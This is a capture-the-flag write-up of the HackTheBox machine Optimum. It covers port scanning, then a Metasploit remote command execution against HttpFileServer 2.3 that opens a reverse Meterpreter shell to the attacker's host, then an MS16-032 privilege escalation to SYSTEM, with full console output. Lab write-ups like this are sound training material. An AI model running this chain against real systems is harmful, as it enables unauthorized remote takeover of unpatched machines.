


## Optimum

This is the writeup for Optimum from HackTheBox.eu..


### Starting with Network Mapper X\_X


```
[chaotic@archlinux Optimum]$ sudo nmap -A -p- -vv -oN nmapscan 10.10.10.8
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 12:13 CDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:13
Completed NSE at 12:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:13
Completed NSE at 12:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:13
Completed NSE at 12:13, 0.00s elapsed
Initiating Ping Scan at 12:13
Scanning 10.10.10.8 [4 ports]
Completed Ping Scan at 12:13, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:13
Completed Parallel DNS resolution of 1 host. at 12:13, 0.02s elapsed
Initiating SYN Stealth Scan at 12:13
Scanning 10.10.10.8 [65535 ports]
Discovered open port 80/tcp on 10.10.10.8
SYN Stealth Scan Timing: About 19.44% done; ETC: 12:15 (0:02:08 remaining)
Stats: 0:00:59 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 45.94% done; ETC: 12:15 (0:01:09 remaining)
```

So far maybe only a web server.. Lets go ahead and check it out..


 User
 

Login


 Folder
 

 Home
 

0 folders, 0 files, 0 bytes

 Search
 

go


 Select
 

All

Invert


Mask

0 items selected

 Actions
 

Archive

Get list

 Server information
 

HttpFileServer 2.3  
 Server time: 27/9/2020 5:15:47 πμ  
 Server uptime: 19:54:19

We see we are running a HttpFileServer at version 2.3.. Searchsploit doesn't land any results what about google... We get a few leads.. lets try a exploit <https://www.exploit-db.com/exploits/39161>

```
msf5 > search httpfileservr

Matching Modules
=====
#   Name                                   Disclosure Date  Rank     Check  Description
-   -   -   -   -   -   -   -   -   -   -   -
0   exploit/windows/http/rejetto_hfs_exec  2014-09-11      excellent Yes     Rejetto HttpFileServer Remote Command Execution

msf5 > 
```

Setting parameters and executing...

```
msf5 exploit(windows/http/rejeto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.36:4444
[*] Using URL: http://0.0.0.0:8080/5RgpGLs
[*] Local IP: http://172.16.1.46:8080/5RgpGLs
[*] Server started.
[*] Sending a malicious request to /
/opt/metasploit/modules/exploits/windows/http/rejeto_hfs_exec.rb:110: warning: URI.escape is obsolete
/opt/metasploit/modules/exploits/windows/http/rejeto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /5RgpGLs
[*] Sending stage (176195 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.14.36:4444 -> 10.10.10.8:49201) at 2020-09-20 12:22:51 -0500
[!] Tried to delete %TEMP%\AvTJJBjzNAH.vbs, unknown result
[*] Server stopped.

meterpreter > █
```

Good ole meterpreter.. Priv Esc time....

<https://github.com/rasta-mouse/Sherlock>

Drop into a shell..

```
C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas

C:\Users\kostas\Desktop>█
```

Sherlock is a PS script to find missing software patches for priv esc...

```
Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Appears Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Appears Vulnerable
```

A few vulns present themselves, lets work down the list..

Background the session, find the first exploit.. and run it

```

msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 10.10.14.36:4444
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\JeguxpfHitSj.ps1...
[*] Compressing script contents...
[+] Compressed size: 3600
[*] Executing exploit script...

  -- -- -- -- -- -- -- -- -- --
  | V | | _ | | | _ | _ | | _ | |
  |   | | _ | | | . | _ | | | _ |
  | _ | | _ | _ | _ | _ | _ | _ |

[by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1680

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1796
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

3bYWpUu4n91d5o0KSYR4cGGSc83BouFv
[+] Executed on target machine.
[*] Sending stage (176195 bytes) to 10.10.10.8
[*] Meterpreter session 2 opened (10.10.14.36:4444 -> 10.10.10.8:49202) at 2020-09-20 12:46:52 -0500
[+] Deleted C:\Users\kostas\AppData\Local\Temp\JeguxpfHitSj.ps1

meterpreter > █

```

It worked!!! We are NT/AUTH

```

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █

```

That wraps up Optimum from HackTheBox